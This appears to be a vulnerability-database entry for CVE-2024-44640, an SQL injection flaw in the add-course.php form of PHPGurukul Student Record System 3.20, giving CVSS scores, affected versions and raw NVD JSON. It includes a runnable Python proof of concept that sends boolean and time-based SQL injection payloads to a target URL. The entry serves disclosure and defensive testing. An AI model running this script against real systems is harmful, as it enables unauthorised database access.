Security Vulnerability Report
中文
CVE-2024-44640 CVSS 6.5 MEDIUM

CVE-2024-44640

Published: 2025-11-14 16:15:48
Last Modified: 2025-11-17 18:21:47

Description

PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the course-short, course-full, and cdate parameters in add-course.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Student Record System 3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44640 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Vulnerable Parameter: course-short, course-full, cdate def exploit_sqli(url, param): # Basic SQL injection test payload payload = "' OR '1'='1" target_url = f"{url}/add-course.php" data = { 'course-short': payload, 'course-full': payload, 'cdate': payload } try: response = requests.post(target_url, data=data, timeout=10) if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Possible SQL Injection detected on parameter: {param}") return True except Exception as e: print(f"[-] Error: {e}") return False # Blind SQL injection to extract database version def blind_sqli(url): payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)---" target_url = f"{url}/add-course.php" data = { 'course-short': payload, 'course-full': 'Test Course', 'cdate': '2024-01-01' } try: response = requests.post(target_url, data=data, timeout=15) print(f"[*] Blind SQLi payload sent to {target_url}") except requests.exceptions.Timeout: print("[+] Blind SQL Injection confirmed - time-based blind injection works") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-44640.py <target_url>") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2024-44640 on {target}") exploit_sqli(target, 'course-short') blind_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44640", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:48.397", "lastModified": "2025-11-17T18:21:47.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the course-short, course-full, and cdate parameters in add-course.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:*", "matchCriteriaId": "3BE56291-1C2E-4DFB-84CB-1C130EBA0DE2"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44640.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/student-record-system-php", "source": "[email protected]", "tags": ["Product"]}]}}